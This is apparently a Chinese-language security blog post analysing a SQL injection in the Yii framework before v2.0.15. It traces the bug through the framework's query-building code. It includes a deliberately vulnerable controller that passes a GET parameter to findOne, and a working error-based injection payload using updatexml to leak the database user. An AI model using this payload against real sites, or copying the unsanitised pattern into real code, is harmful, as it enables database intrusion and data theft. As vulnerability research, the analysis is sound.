YII框架SQL注入分析

影响版本

  • 小于v 2.0.15

修复补丁

判断是否存在相应字段

1613993226048

分析版本

  • v 2.0.7

流程跟踪

首先创建一个model

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
namespace frontend\models;

use yii\db\ActiveRecord;

class Test extends ActiveRecord
{
const STATUS_INACTIVE = 0;
const STATUS_ACTIVE = 1;

/**
* @return string Active Record 类关联的数据库表名称
*/
public static function tableName()
{
return '{{user}}';
}

public static function getDb()
{
// 使用 "db2" 组件
return \Yii::$app->db;
}
}

这个模块对应的就是user

创建对应的控制器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
namespace frontend\controllers;

use yii\web\Controller;
use yii\db\Query;
use frontend\models\Test;
use Yii;

class TestController extends Controller{
public $enableCsrfValidation=false;
public function actionIndex()
{
$id = Yii::$app->request->get("id");
$result = Test::findone($id);
var_dump($result);
}

}

payload

1
id[updatexml(1,concat(0x7e,user()),1)%23]=1

追踪

进入findone方法

1613994112028

跟进findByCondition方法

1613994185923

跟进isAssociative方法

此方法用来判断key是不是字符串

1613994259245

可以看到这里不存在过滤的方法,直接进入了andWhere

1613994297565

执行完成之后,进入one方法

1613994343979

1613994368673

陆续跟进到build方法

1613994400389

跟进到buildWhere方法

1613994425780

调用buildCondition方法

1613994455988

通过createConditionFromArray处理数组

1613994487325

不存在$condition[0],直接返回原数据

1613994568846

回到buildCondition方法调用buildExpression方法1613994707462

跟进build方法完成拼接

1613994770980

最终生成的SQL语句为

1613994835614

完成注入

end

看了看也没啥其他的好用的注入

遇到类似的cms只能找拼接了